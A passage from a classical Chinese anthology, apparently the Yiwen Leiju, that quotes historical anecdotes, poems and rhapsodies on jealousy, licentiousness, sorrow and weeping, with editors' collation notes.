捉 兄 头 . 拽 着 地 欲 杀 . 方 知 是 兄 . 惭 惧 入 内 . 兄 称 父 命 . 与 杖 数 百 . 亦 无 改 悔 .\n又 曰 . 诸 葛 元 直 妻 刘 氏 . 大 妒 忌 . 恒 与 元 直 杖 . 与 杖 之 法 . 大 罪 十 . 小 罪 五 . 然 得 手 摩 . 不 得 一 一 受 也 . 常 行 杖 小 重 . 元 直 不 胜 痛 . 才 得 一 两 . 仍 以 手 摸 . 妇 不 ○ 不 下 疑 有 脱 文 . 误 打 指 节 肿 . 从 此 作 制 . 每 与 杖 . 辄 令 两 手 各 捉 ● 跗 . 元 直 □ □ □ 遇 见 妇 捉 ● 跗 欲 成 衣 . 谓 当 与 己 杖 . 失 色 怖 . 妇 曰 . 不 也 . 捉 此 自 欲 成 衣 耳 . 乃 欣 然 .\n异 苑 曰 . 吴 兴 桑 乞 妻 . 临 终 执 乞 手 云 . 我 死 . 为 当 婚 否 . 乞 言 不 忍 也 . 服 竟 更 娶 . 白 日 见 其 死 妇 . 语 之 云 . 君 先 结 誓 . 云 何 负 言 . 因 以 刀 割 其 阳 道 . 虽 不 致 死 . 人 性 永 废 .\n俗 说 . 桓 温 平 蜀 后 . 以 李 势 女 为 妾 . 南 郡 主 甚 妒 . 已 具 美 妇 人 也 .\n【 诗 】 魏 陈 王 曹 植 诗 曰 . 嗟 尔 同 衾 . 曾 弗 是 志 . 宁 彼 冶 容 . 安 此 妒 忌 .\n【 赋 】 梁 张 缵 妒 妇 赋 曰 . 惟 妇 怨 之 无 极 . 羌 于 何 而 弗\n有 . 或 造 端 构 末 . 皆 莠 言 之 在 口 . 常 因 情 以 起 恨 . 每 传\n声 而 妄 受 . 乍 隔 帐 而 窥 屏 . 或 觇 窗 而 瞰 牖 . 若 夫 室 怒 小\n憾 . 反 目 私 言 . 不 忍 细 忿 . 皆 成 大 冤 . 闺 房 之 所 隐 私 .\n床 笫 之 所 讨 论 . 咸 一 朝 之 发 泄 . 满 四 海 之 嚣 喧 . 忽 有 逆\n其 妒 鳞 . 犯 其 忌 制 . 赴 汤 蹈 火 . 瞋 目 攘 袂 . 或 弃 产 而 焚\n家 . 或 投 儿 而 害 婿 .\n洪 范 五 行 传 曰 . 蜮 射 人 者 . 生 于 南 方 . 谓 之 短 狐 . 故 南 越 多 蜮 . 蜮 者 . 淫 女 惑 乱 之 所 生 也 .\n毛 诗 曰 . 鄘 柏 舟 桑 中 . 刺 奔 也 . 卫 公 室 乱 . 男 女 相 奔 . 至 于 世 族 在 位 . 相 窃 妻 妾 . 期 于 幽 远 . 期 我 乎 桑 中 . 要 我 乎 上 宫 . 送 我 乎 淇 之 上 矣 . 桑 中 上 宫 . 所 期 之 地 . 淇 . 水 名 也 .\n又 曰 . 齐 鸡 鸣 南 山 . 刺 襄 公 也 . 鸟 兽 之 行 . 淫 乎 其 妹 .\n左 传 曰 . 僖 中 ○ 疑 当 作 左 传 僖 中 曰 . 按 本 书 所 引 左 传 . 分 卷 或 与 今 本 不 同 如 僖 公 昭 公 . 有 分 卷 为 上 中 下 者 . 本 条 见 僖 十 七 年 . 正 值 中 卷 . 故 云 僖 中 . 前 卷 五 社 篇 引 左 传 昭 上 曰 . 同 此 . 齐 侯 好 内 . 多 淫 . 内 嬖 如 夫 人 者 六 人 .\n战 国 策 曰 . 秦 宣 太 后 爱 魏 丑 . 后 病 . 且 令 曰 . 我 死 . 必 以 魏 子 为 殉 . 庸 芮 为 谏 曰 . 以 死 为 无 知 . 何 空 以 生 所 爱 . 葬 无 知 之 死 . 人 若 有 知 . 先 王 积 怒 久 . 太 后 救 过 不 暇 . 何 得 更 殉 魏 丑 . 后 乃 止 .\n列 子 曰 . 郑 公 孙 穆 好 色 . 后 庭 数 十 . 皆 择 稚 齿 . 屏 亲 昵 . 绝 交 游 . 于 后 庭 以 昼 足 夜 . 三 月 一 出 . 意 从 未 惬 .\n博 物 志 曰 . 三 身 国 . 一 头 三 身 三 手 . 昔 容 成 氏 有 季 子 . 好 淫 . 白 日 淫 于 市 . 帝 放 之 西 南 . 季 子 妻 马 生 子 . 人 身 有 尾 蹄 .\n汉 书 曰 . 五 凤 中 . 济 北 王 终 吉 . 所 爱 奴 . 与 八 子 及 诸 御 妾 为 奸 . 终 吉 与 共 被 席 . 或 昼 日 使 裸 伏 . 犬 马 交 接 . 终 吉 亲 观 . 产 子 . 辄 曰 . 乱 不 可 知 . 丞 相 御 史 奏 . 终 吉 位 诸 侯 王 . 以 置 八 子 . 秩 比 六 百 石 . 所 广 嗣 重 祖 . 而 终 吉 禽 兽 行 乱 . 勃 逆 人 伦 . 请 削 四 县 .\n又 曰 . 许 皇 后 坐 执 左 道 . 废 处 长 信 ○ 汉 书 九 十 七 下 作 定 . 宫 . 姊 为 龙 思 侯 夫 人 . 寡 居 . 淳 于 长 与 私 通 . 因 娶 为 小 妻 . 许 后 因 赂 遗 . 欲 求 复 为 婕 妤 . 长 受 后 金 钱 乘 舆 服 物 千 余 万 计 . 为 白 上 . 立 为 左 皇 后 . 每 入 长 信 宫 . 长 与 书 . 戏 许 后 .\n华 峤 后 汉 书 曰 . 梁 冀 爱 监 奴 秦 宫 . 官 至 太 仓 令 . 得 入 妻 寿 所 . 寿 见 宫 . 屏 御 者 以 言 事 . 因 通 焉 . 宫 威 权 大 震 . 二 千 石 皆 拜 谒 之 .\n范 晔 后 汉 书 曰 . 赤 眉 发 掘 诸 陵 . 取 宝 货 . 污 辱 吕 后 . 凡 有 玉 匣 者 . 皆 如 生 . 故 赤 眉 多 行 淫 秽 .\n臧 荣 绪 晋 书 曰 . 贾 充 后 妻 郭 氏 . 又 生 二 女 . 少 有 淫 行 . 年 十 四 五 . 通 于 韩 寿 . 充 未 觉 . 时 外 国 献 奇 香 . 世 祖 分 与 充 . 充 以 赐 女 . 充 与 寿 坐 . 闻 其 衣 香 . 心 疑 之 . 充 家 严 峻 . 墙 高 丈 五 . 荐 以 枳 棘 . 周 行 东 北 角 . 有 如 狸 鼠 行 迹 . 充 潜 杀 知 婢 . 遂 以 女 妻 之 .\n沈 约 宋 书 曰 . 楚 王 山 阴 公 主 . 废 帝 姊 也 . 肆 情 淫 纵 . 以 吏 部 褚 渊 貌 美 . 请 自 侍 十 日 . 帝 许 之 . 渊 虽 遂 旨 . 以 死 自 固 .\n列 女 传 曰 . 夏 姬 者 . 陈 大 夫 征 舒 母 也 . 状 美 好 . 老 而 复 壮 者 三 . 三 为 王 后 . 诸 侯 争 之 . 莫 不 迷 惑 . 陈 灵 公 与 孔 宁 仪 父 皆 通 焉 . 或 衣 其 衣 . 或 装 其 幡 . 幡 . 蔽 膝 衣 . 以 戏 于 朝 .\n列 异 传 曰 . 汉 桓 帝 冯 夫 人 病 亡 . 灵 帝 时 . 有 贼 盗 发 冢 . 七 十 余 年 . 颜 色 如 故 . 但 小 冷 . 共 奸 通 之 . 至 斗 争 相 杀 . 窦 太 后 家 被 诛 . 欲 以 冯 夫 人 配 食 . 下 邳 陈 公 达 议 . 以 贵 人 虽 是 先 所 幸 . 尸 体 秽 污 . 不 宜 配 至 尊 . 乃 以 窦 太 后 配 食 .\n论 衡 曰 . 书 云 . 齐 桓 公 负 妇 人 以 朝 诸 侯 . 管 仲 曰 . 吾 君 背 疽 疮 . 不 得 妇 人 不 愈 . 此 虚 也 .\n风 俗 通 曰 . 平 原 君 谳 ● 谭 娶 周 碧 为 妻 . 谭 阴 阳 不 属 . 令 碧 与 李 方 张 少 奸 通 . 冀 得 其 子 .\n语 林 曰 . 刘 道 真 子 妇 始 入 门 . 遣 婢 ○ 原 作 妇 . 据 冯 校 本 作 婢 . 虔 . 刘 聊 之 甚 苦 . 婢 固 不 从 . 刘 乃 下 地 叩 头 . 婢 惧 而 从 之 . 明 日 语 人 曰 . 手 推 故 是 神 物 . 一 下 而 婢 服 淫 .\n传 曰 . 卫 宣 公 烝 于 夷 姜 . 生 急 子 . 姜 . 公 之 母 . 淫 上 曰 蒸 .\n晋 祁 胜 与 邬 臧 . 通 室 易 妻 .\n又 曰 . 吴 公 子 札 来 聘 . 请 观 于 周 乐 . 为 之 歌 颂 . 曰 . 至 矣 哉 . 哀 而 不 愁 . 知 命 也 . 乐 而 不 荒 . 节 之 以 礼 . 庄 子 曰 . 不 知 乎 人 . 谓 朱 愚 . 知 乎 则 反 愁 我 躯 . 不 仁 则 害 人 . 仁 则 反 伤 吾 身 . 不 义 则 伤 彼 . 义 则 反 愁 我 己 .\n吴 越 春 秋 曰 . 越 王 念 吴 . 欲 复 雠 . 愁 心 苦 志 . 中 夜 抱 柱 而 哭 . 承 之 以 啸 . 群 臣 闻 之 曰 . 君 王 何 愁 心 之 甚 也 . 夫 复 雠 谋 敌 . 非 君 王 之 忧 . 自 臣 下 之 急 务 也 .\n史 记 曰 . 虞 卿 着 书 八 篇 . 号 曰 虞 氏 春 秋 . 太 史 公 曰 . 虞 卿 非 穷 愁 . 不 能 着 书 . 自 见 于 后 世 .\n后 汉 书 曰 . 梁 冀 妻 色 美 . 善 为 妖 态 . 作 愁 眉 . 具 美 妇 人 .\n楚 辞 曰 . 天 问 者 . 屈 原 所 作 也 . 屈 原 放 逐 . 忧 心 愁 悴 . 仿 徨 山 泽 . 经 历 陵 陆 . 嗟 号 日 闻 . 仰 天 叹 息 . 楚 有 先 王 之 庙 . 及 公 卿 祠 堂 . 图 画 天 地 山 川 . 神 灵 奇 伟 . 及 古 贤 圣 怪 物 行 事 . 周 流 罢 倦 . 休 息 其 下 . 仰 见 图 画 . 因 书 其 壁 . 呵 而 问 之 . 以 泄 愤 懑 . 舒 写 愁 思 . 又 曰 . 渔 父 者 . 屈 原 所 作 也 . 屈 原 驰 逐 江 湘 之 闲 . 忧 愁 吟 叹 . 而 渔 父 避 世 隐 身 . 钓 鱼 江 滨 . 欣 然 自 乐 . 时 遇 屈 原 川 泽 之 域 . 怪 而 问 之 . 遂 相 应 答 .\n晋 书 曰 . 王 丞 ○ 按 当 作 承 . 下 同 . 参 下 郭 子 条 . 去 官 东 渡 . 是 时 道 路 寇 盗 . 人 怀 危 惧 . 丞 每 过 艰 险 . 处 之 若 夷 然 . 虽 家 人 . 不 见 其 愁 喜 之 色 .\n郭 子 曰 . 王 东 海 初 过 江 . 王 丞(太 平 御 览 四 百 六 十 九 作 承 .)字 安 期 . 登 琅 邪 山 . 叹 曰 . 我 由 来 不 愁 . 今 日 直 欲 愁 .\n【 诗 】 后 汉 张 衡 四 愁 诗 曰 . 我 所 思 兮 在 泰 山 . 欲 往 从 之 梁 甫 艰 . 侧 身 东 望 涕 沾 翰 . 美 人 赠 我 金 错 刀 . 何 以 报 之 英 琼 瑶 . 路 远 莫 致 倚 逍 遥 . 何 以 怀 愁 心 烦 劳 .\n又 曰 . 我 所 望 兮 在 桂 林 . 欲 往 从 之 湘 水 深 . 侧 身 南 望 涕 沾 襟 . 美 人 赠 我 翠 琅 玕 . 何 以 报 之 双 玉 盘 .\n又 曰 . 我 所 思 兮 在 汉 阳 . 欲 往 从 之 陇 阪 长 . 侧 身 西 望 涕 沾 裳 . 美 人 赠 我 貂 襜 褕 . 何 以 报 之 明 月 珠 .\n又 曰 . 我 所 思 兮 在 雁 门 . 欲 往 从 之 雪 纷 纷 . 侧 身 北 望 涕 沾 巾 . 美 人 赠 我 锦 绣 段 . 何 以 报 之 青 玉 案 .\n晋 张 载 拟 四 愁 诗 曰 . 我 所 思 兮 在 南 巢 . 欲 往 从 之 巫 山 高 . 佳 人 遗 我 筒 中 布 . 何 以 报 之 流 黄 素 .\n又 曰 . 我 所 思 兮 在 朔 湄 . 欲 往 从 之 白 雪 霏 . 佳 人 遗 我 云 中 翮 . 何 以 赠 之 连 城 璧 .\n又 曰 . 我 所 思 兮 在 陇 原 . 欲 往 从 之 隔 秦 山 . 佳 人 遗 我 双 角 端 . 何 以 赠 之 雕 玉 环 .\n又 曰 . 我 所 思 兮 在 营 州 . 欲 往 从 之 路 阻 脩 . 佳 人 遗 我 绿 绮 琴 . 何 以 赠 之 双 南 金 .\n宋 王 徽 咏 愁 诗 曰 . 自 予 抱 羁 思 . 眇 与 日 月 长 . 载 离 非 宋 远 . 谁 谓 河 难 航 . 忧 随 积 霖 密 . 慨 因 朗 旭 彰 . 负 之 苦 不 胜 . 即 之 竟 无 方 . 如 彼 引 鲲 鱼 . 待 尽 守 空 梁 . 天 地 岂 私 贫 . 运 至 岂 固 当 . 既 悟 非 形 兆 . 兹 数 讵 可 攘 .\n梁 王 僧 孺 夜 愁 示 诸 宾 诗 曰 . 檐 露 滴 为 珠 . 池 水 合 如 璧 . 万 行 朝 泪 泻 . 千 里 夜 愁 积 . 孤 帐 闭 不 开 . 寒 膏 尽 复 益 . 谁 知 心 眼 乱 . 看 朱 忽 成 碧 .\n又 忽 不 任 愁 聊 示 固 远 诗 曰 . 去 秋 客 旧 吴 . 今 春 投 故 越 . 泪 逐 东 归 水 . 心 挂 西 斜 月 . 未 应 岁 贬 颜 . 直 以 忧 残 发 .\n梁 刘 孝 绰 夜 不 得 眠 诗 曰 . 夜 长 愁 反 覆 . 怀 抱 不 能 裁 . 披 衣 坐 惆 怅 . 当 户 立 徘 徊 . 风 音 触 树 起 . 月 色 度 云 来 . 夏 叶 依 窗 落 . 秋 花 当 户 开 . 光 阴 已 如 此 . 复 持 忧 自 催 .\n梁 刘 孝 先 和 兄 孝 绰 夜 不 得 眠 诗 曰 . 夜 愁 眠 不 安 . 起 望 台 南 端 . 叶 惨 风 声 异 . 楼 空 月 色 寒 . 笙 冷 调 簧 数 . 弦 脆 上 琴 难 . 百 年 行 讵 几 . 万 虑 坐 相 攒 . 谁 家 有 明 镜 . 蹔 借 照 心 看 .\n【 赋 】 魏 陈 王 曹 植 叙 愁 赋 曰 . 时 家 二 女 弟 . 故 汉 皇 帝 聘 以 为 贵 人 . 家 母 见 二 弟 愁 思 . 故 令 予 作 赋 曰 . 嗟 妾 身 之 微 薄 . 信 未 达 乎 义 方 . 遭 母 氏 之 圣 善 . 奉 恩 化 之 弥 长 . 迄 盛 年 而 始 立 . 脩 女 职 于 衣 裳 . 承 师 保 之 明 训 . 诵 六 列 之 篇 章 . 观 图 像 之 遗 形 . 窃 庶 几 乎 皇 英 . 委 微 躯 于 帝 室 . 充 末 列 于 椒 房 . 荷 印 绂 之 令 服 . 非 陋 才 之 所 望 . 对 床 帐 而 太 息 . 慕 二 亲 以 增 伤 . 扬 罗 袖 而 掩 涕 . 起 出 户 而 仿 徨 . 顾 堂 宇 之 旧 处 . 悲 一 别 之 异 乡 .\n又 愁 思 赋 曰 . 四 节 更 王 兮 秋 气 悲 . 遥 思 惝 恍 兮 若 有 遗 . 原 野 萧 条 兮 烟 无 依 . 云 高 气 静 兮 露 凝 衣 . 野 草 变 色 兮 茎 叶 希 . 鸣 蜩 抱 木 兮 雁 南 飞 . 归 室 解 裳 兮 步 庭 前 . 月 光 照 怀 兮 星 依 天 . 居 一 世 兮 芳 景 迁 . 松 乔 难 慕 兮 谁 能 仙 . 长 短 命 也 兮 独 何 怨 .\n又 九 愁 赋 曰 . 嗟 离 思 之 难 忘 . 心 惨 毒 而 含 哀 . 践 有 畿 之 末 境 . 超 引 领 之 徘 徊 . 眷 浮 云 以 太 息 . 愿 攀 登 而 无 阶 . 匪 徇 荣 而 愉 乐 . 信 旧 都 之 可 怀 . 恨 时 王 之 谬 听 . 受 奸 枉 之 虚 辞 . 扬 天 威 以 临 下 . 忽 放 臣 而 不 疑 . 登 高 陵 而 反 顾 . 心 怀 愁 而 荒 悴 . 念 先 宠 之 既 隆 . 哀 后 施 之 不 遂 . 虽 危 亡 之 不 豫 . 亮 无 远 君 之 心 . 刈 桂 兰 而 秣 马 . 舍 予 车 于 西 林 . 愿 接 翼 于 归 鸿 . 羌 高 飞 而 莫 攀 . 因 流 景 而 寄 言 . 向 一 绝 而 不 还 . 伤 时 俗 之 趍 险 . 独 惆 怅 而 长 愁 . 感 龙 鸾 而 匿 迹 . 如 吾 身 之 不 留 . 窜 江 介 之 旷 野 . 独 眇 眇 而 泛 舟 . 思 孤 客 之 可 悲 . 愍 予 身 之 翩 翔 . 岂 天 监 之 孔 明 . 将 时 运 之 无 常 . 谓 内 思 而 自 策 . 筭 乃 昔 之 愆 殃 . 以 忠 言 而 见 黜 . 信 无 负 于 时 王 . 俗 参 差 而 不 齐 . 岂 毁 誉 之 可 同 . 竞 昏 瞀 以 营 私 . 害 予 身 之 奉 公 . 共 朋 党 而 妒 贤 . 俾 予 济 乎 长 江 . 嗟 大 化 之 移 易 . 悲 性 命 之 悠 遭 . 愁 慊 慊 而 继 怀 . 恒 惨 惨 而 情 挽 . 旷 年 载 而 不 回 . 长 去 君 乎 悠 远 . 御 飞 龙 之 蜿 蜿 . 扬 翠 霓 之 华 旌 . 绝 气 霄 而 高 骛 . 飘 弭 节 于 天 庭 . 披 轻 云 而 下 观 . 览 九 土 之 殊 形 . 顾 南 郢 之 邦 壤 . 咸 芜 秽 而 倚 倾 . 骖 盘 桓 让 路 以 悲 服 . 仰 御 骧 以 悲 鸣 . 纡 予 袂 而 收 涕 . 仆 夫 感 以 失 声 . 履 先 王 之 正 路 . 岂 淫 径 之 可 遵 . 知 犯 君 之 招 咎 . 耻 干 媚 而 求 亲 . 顾 旋 复 之 无 轨 . 长 自 弃 于 遐 滨 . 与 麋 鹿 而 为 群 . 宿 林 薮 之 葳 蓁 . 野 萧 条 而 极 望 . 旷 千 里 而 无 人 . 民 生 期 于 必 死 . 何 自 苦 以 终 身 . 宁 作 清 水 之 决 泥 . 不 为 浊 路 之 飞 尘 . 践 蹊 径 之 危 阻 . 登 岧 峣 之 高 岑 . 见 失 群 之 离 兽 . 觌 偏 栖 之 孤 禽 . 怀 愤 激 以 切 痛 . 若 回 刃 之 在 心 . 愁 戚 戚 其 无 为 . 游 绿 林 而 逍 遥 . 临 白 水 以 悲 啸 . 猿 惊 听 而 失 条 . 亮 无 怨 而 弃 逐 . 乃 全 行 之 所 招 .\n魏 繁 钦 愁 思 赋 曰 . 何 旻 秋 之 惨 凄 . 处 闲 夜 而 怀 愁 . 潜 白 日 于 玄 阴 . 翳 朗 月 于 重 幽 . 零 雨 濛 其 迅 集 . 潢 淹 汩 以 横 流 . 听 峻 阶 之 回 霤 . 心 沉 切 以 增 忧 . 嗟 王 事 之 靡 盬 . 士 感 时 而 情 悲 . 愿 出 身 以 徇 役 . 式 简 书 以 忘 归 . 时 陟 岵 以 旋 顾 . 涕 渐 缨 而 鲜 晞 . 听 鸣 鹤 之 哀 音 . 知 我 行 之 多 违 . 怅 俯 仰 而 自 怜 . 志 荒 悃 而 摧 威 . 聊 弦 歌 以 厉 志 . 勉 奉 职 于 闺 闱 .\n又 弭 愁 赋 曰 . 伤 有 闲 之 淑 女 . 采 薜 荔 于 朝 阳 . 露 素 质 之 皎 皎 . 绾 玄 发 以 流 光 . 结 翠 叶 于 珠 簪 . 擢 丹 华 于 绿 房 . 点 圜 的 之 荧 荧 . 映 双 辅 而 相 望 . 袭 游 闲 之 妓 服 . 褥 阿 縠 之 桂 裳 . 纫 畹 兰 于 缨 佩 . 动 晻 暧 以 遗 芳 . 既 容 冶 而 多 好 . 且 妍 惠 之 纤 微 . 顾 见 予 之 独 立 . 知 我 情 之 思 归 . 鸣 环 瑱 以 回 眄 . 若 欲 进 而 行 迟 . 眷 红 颜 之 晔 晔 . 何 的 皪 之 少 群 . 整 桂 冠 而 自 饰 . 敷 綦 藻 之 华 文 . 从 景 炎 而 猗 靡 . 粲 绵 邈 以 缤 纷 . 时 了 眇 以 含 笑 . 收 婉 媚 以 愁 人 .\n梁 简 文 帝 序 愁 赋 曰 . 情 无 所 治 . 志 无 所 求 . 不 怀 伤 而 忽 恨 . 无 惊 猜 而 自 愁 . 玩 飞 花 之 入 户 . 看 斜 晖 之 度 寮 . 虽 复 玉 觞 浮 碗 . 赵 瑟 含 娇 . 未 足 以 袪 斯 耿 . ○ 句 有 脱 文 . 息 此 长 谣 .\n【 文 】 魏 陈 王 曹 植 释 愁 文 曰 . 予 以 愁 惨 . 行 吟 路 边 .\n形 容 枯 悴 . 忧 心 如 焚 . 有 玄 虚 先 生 见 而 问 之 曰 . 子 将 何\n疾 . 以 至 于 斯 . 答 曰 . 吾 所 病 者 愁 也 . 先 生 曰 . 愁 是 何\n物 . 而 能 病 子 乎 . 答 曰 . 愁 之 为 物 . 惟 惚 惟 恍 . 不 召 自\n来 . 推 之 弗 往 . 寻 之 不 知 其 际 . 握 之 不 盈 一 掌 . 寂 寂 长\n夜 . 或 群 或 党 . 去 来 无 方 . 乱 我 精 爽 . 其 来 也 难 进 . 其\n去 也 易 追 . 临 餐 困 于 哽 咽 . 烦 冤 毒 于 酸 嘶 . 加 之 以 粉 饰\n不 泽 . 饮 之 以 兼 肴 不 肥 . 温 之 以 火 石 不 消 . 摩 之 以 神 膏\n不 稀 . 受 之 以 巧 笑 不 悦 . 乐 之 以 丝 竹 增 悲 . 医 和 绝 思 而\n无 措 . 先 生 岂 能 为 我 蓍 龟 乎 . 先 生 作 色 而 言 曰 . 予 徒 辩\n子 之 愁 形 . 未 知 子 愁 所 由 生 . 吾 独 为 子 言 其 发 矣 . 今 大\n道 既 隐 . 子 生 末 季 . 沉 溺 流 俗 . 眩 惑 名 位 . 濯 缨 弹 冠 .\n谘 诹 荣 贵 . 坐 不 安 席 . 食 不 终 味 . 遑 遑 汲 汲 . 或 惨 或 悴\n. 所 鬻 者 名 . 所 拘 者 利 . 良 由 华 薄 . 凋 损 正 气 . 吾 将 赠\n子 以 无 为 之 药 . 给 子 以 澹 泊 之 汤 . 刺 子 以 玄 虚 之 针 . 灸\n子 以 淳 朴 之 方 . 安 子 以 恢 廓 之 宇 . 坐 子 以 寂 寞 之 床 . 使\n王 乔 与 之 ○ 本 集 作 子 . 携 手 而 游\n. 黄 公 与 子 咏 歌 而 行 . 庄 生 为 子 具 养 神 之 馔 . 老 聃 为 子\n致 爱 性 之 方 . 趣 遐 路 以 栖 迹 . 乘 轻 云 以 高 翔 . 于 是 精 骇\n意 散 . 改 心 回 趣 . 愿 纳 至 言 . 仰 崇 玄 度 . 众 愁 忽 然 . 不\n辞 而 去 .\n礼 记 曰 . 高 子 皋 执 亲 之 丧 . 泣 血 三 年 . 未 尝 见 齿 . 君 子 以 为 难 矣 .\n又 曰 . 弁 人 有 其 母 死 而 孺 子 泣 者 . 孔 子 曰 . 哀 则 哀 矣 . 而 难 为 继 矣 .\n左 传 曰 . 楚 令 尹 子 元 . 欲 蛊 文 夫 人 . 为 馆 于 其 宫 侧 . 振 万 焉 . 夫 人 闻 之 . 泣 曰 . 先 君 以 是 舞 也 . 习 戎 备 也 . 今 令 尹 不 寻 诸 仇 雠 . 而 于 未 亡 人 之 侧 . 不 亦 异 乎 .\n又 曰 . 叔 孙 婼 聘 于 宋 . 宋 公 与 宴 . 子 ○ 按 子 上 当 脱 昭 字 . 饮 酒 乐 . 宋 公 使 昭 子 右 坐 . 语 相 泣 . 乐 祁 左 . 退 而 告 人 曰 . 今 兹 君 与 叔 孙 . 其 皆 死 乎 . 吾 闻 之 . 哀 而 乐 . 乐 而 哀 . 皆 丧 心 也 . 何 以 能 久 .\n国 语 曰 . 叔 向 见 司 马 侯 之 子 . 抚 而 泣 之 曰 . 自 其 父 死 也 . 吾 蔑 与 比 而 事 君 也 . 昔 者 其 父 始 之 . 我 终 之 . 我 始 之 . 夫 子 终 之 .\n尸 子 曰 . 曾 子 每 读 丧 礼 . 泣 沾 襟 . 已 具 孝 篇 .\n又 曰 . 费 子 阳 谓 子 思 曰 . 吾 念 周 室 将 灭 . 涕 泣 不 可 禁 也 . 子 思 曰 . 然 . 今 以 一 人 之 身 . 忧 世 之 不 治 . 而 涕 泣 不 禁 . 是 忧 河 水 浊 . 而 以 泣 清 之 也 .\n吕 氏 春 秋 曰 . 吴 起 治 西 门 之 外 . 王 错 谮 之 魏 武 侯 . 武 侯 使 人 召 之 . 吴 起 至 于 岸 门 . 止 车 而 望 西 河 . 泣 数 行 而 下 .\n楚 汉 春 秋 曰 . 吕 后 欲 为 惠 帝 高 坟 . 使 从 未 央 宫 坐 而 见 之 . 东 阳 侯 垂 泣 曰 . 陛 下 日 夜 见 惠 帝 冢 . 悲 哀 流 涕 无 已 . 是 伤 生 也 . 臣 窃 哀 之 . 太 后 乃 止 .\n史 记 曰 . 箕 子 过 故 殷 墟 . 咸 生 禾 黍 . 箕 子 伤 之 . 欲 哭 则 不 可 . 欲 泣 为 近 妇 人 . 乃 作 麦 秀 之 诗 . 以 歌 咏 之 . 殷 民 皆 流 涕 . 具 麦 篇 .\n又 曰 . 荆 轲 与 高 渐 离 . 饮 于 燕 市 . 酒 酣 . 渐 离 共 荆 轲 相 和 而 歌 于 市 中 . 相 乐 . 已 而 相 泣 . 傍 若 无 人 .\n又 曰 . 汉 高 欲 自 击 陈 狶 . 蒯 成 侯 周 泣 曰 . 始 秦 攻 破 天 下 . 未 尝 自 行 . 今 上 自 行 . 是 为 无 人 可 使 者 乎 .\n又 曰 . 戚 姬 爱 幸 . 生 赵 王 如 意 . 常 从 之 关 东 . 日 夜 啼 泣 . 欲 立 如 意 为 太 子 .\n又 曰 . 窦 皇 后 兄 长 君 . 弟 曰 广 国 . 年 五 岁 时 . 家 贫 . 为 人 所 略 . 卖 之 长 安 . 闻 窦 后 新 立 . 广 国 上 书 自 陈 . 后 召 见 . 具 言 其 故 . 后 持 之 而 泣 . 侍 御 左 右 . 皆 伏 地 泣 .\n说 苑 曰 . 雍 门 周 以 琴 见 孟 尝 君 . 君 曰 . 先 生 鼓 琴 . 亦 能 令 人 悲 乎 . 周 曰 . 夫 千 秋 万 岁 之 后 . 高 台 既 已 坏 . 曲 池 即 以 堑 . 坟 墓 既 已 下 . 婴 儿 子 樵 采 者 . 踯 躅 其 足 . 而 歌 其 上 曰 . 夫 以 孟 尝 君 贵 尊 . 乃 若 是 乎 . 于 是 孟 尝 君 泫 然 涕 泣 曰 . 令 文 立 若 破 国 亡 邑 之 人 . 具 琴 篇 .\n又 曰 . 圣 人 于 天 下 也 . 譬 犹 一 堂 之 上 . 令 满 堂 饮 酒 . 有 一 人 向 隅 而 泣 . 则 一 堂 之 人 . 皆 不 乐 矣 .\n又 曰 . 禹 出 见 辜 人 . 问 而 泣 之 . 左 右 问 其 故 . 禹 曰 . 尧 舜 之 民 . 皆 以 尧 舜 之 心 为 心 . 今 吾 为 君 . 百 姓 皆 以 其 心 为 心 . 是 以 痛 之 .\n新 序 曰 . 周 舍 事 赵 简 子 . 居 无 几 何 . 周 舍 死 . 后 与 诸 大 夫 饮 酒 酣 . 简 子 泣 曰 . 百 羊 之 皮 . 不 如 一 狐 之 腋 . 众 人 之 唯 唯 . 不 如 周 舍 之 愕 愕 . 自 周 舍 死 . 吾 未 尝 闻 吾 罪 也 . 吾 国 几 亡 乎 . 是 以 垂 泣 .\n汉 书 曰 . 高 祖 破 黥 布 军 还 . 过 沛 . 置 酒 沛 宫 . 上 慷 慨 伤 怀 . 泣 数 行 下 . 具 怀 旧 篇 .\n东 观 汉 记 曰 . 更 始 害 齐 武 王 . 光 武 饮 食 语 笑 如 平 常 . 独 居 . 辄 不 御 酒 肉 . 枕 席 有 涕 泣 处 .\n又 曰 . 来 歙 盖 延 攻 公 孙 述 . 蜀 人 大 惧 . 使 刺 客 刺 歙 . 歙 未 死 . 驰 告 盖 延 . 延 见 歙 . 悲 哀 不 能 仰 视 . 歙 叱 曰 . 欲 属 以 军 事 . 而 反 效 儿 女 子 涕 泣 乎 .\n论 衡 曰 . 昔 周 人 有 仕 不 遇 . 年 老 白 首 . 泣 涕 于 途 者 . 或 问 何 为 泣 乎 . 对 曰 . 吾 仕 数 不 遇 . 自 伤 年 老 失 时 . 是 以 泣 .\n又 曰 . 苏 秦 张 仪 . 学 纵 横 之 术 于 鬼 谷 先 生 . 先 生 曰 . 能 说 我 泣 出 . 则 能 分 天 皇 之 地 . 秦 说 鬼 谷 先 生 . 先 生 泣 沾 襟 .\n汝 南 先 贤 传 曰 . 蔡 顺 母 畏 雷 . 后 母 卒 . 每 有 震 . 顺 辄 圜 冢 泣 曰 . 顺 在 此 .\n邴 原 传 曰 . 原 年 五 六 岁 . 过 书 舍 而 泣 . 师 曰 . 何 泣 . 原 曰 . 孤 者 易 伤 感 . 夫 书 者 皆 有 父 母 也 . 心 愿 其 得 书 . 故 恻 然 涕 零 也 . 师 哀 原 而 为 之 泣 曰 . 欲 之 可 书 . 须 费 也 . ○ 太 平 御 览 六 百 十 一 作 不 之 求 费 也 . 此 有 脱 文 .\n后 汉 书 曰 . 张 奂 与 张 公 超 书 曰 . 下 笔 怆 恨 . 泣 先 言 泯 .\n吴 录 曰 . 孟 宗 为 骠 骑 朱 据 军 吏 . 将 母 在 营 . 既 不 得 志 . 又 夜 雨 屋 漏 . 因 起 涕 泣 以 谢 母 . 母 曰 . 但 当 勉 之 . 何 足 泣 也 .\n襄 阳 耆 旧 记 曰 . 羊 公 与 邹 闰 甫 登 岘 山 . 垂 泣 曰 . 有 宇 宙 便 有 此 山 . 由 来 贤 达 . 登 此 远 望 者 多 矣 . 皆 湮 灭 无 闻 . 不 可 得 知 . 念 此 令 人 悲 伤 .\n晋 阳 秋 曰 . 司 马 文 王 问 刘 禅 曰 . 颇 思 蜀 否 . 禅 曰 . 此\n间 乐 . 不 思 蜀 也 . 郤 正 见 禅 曰 . 若 王 后 问 . 宜 泣 以 对 .\n会 王 复 问 . 禅 曰 . 先 人 坟 墓 . 远 在 陇 蜀 . 乃 心 西 悲 . 无\n日 不 思 . 因 闭 眼 . 王 曰 . 何 以 似 郤 正 语 耶 . 禅 惊 视 曰 .\n如 尊 命 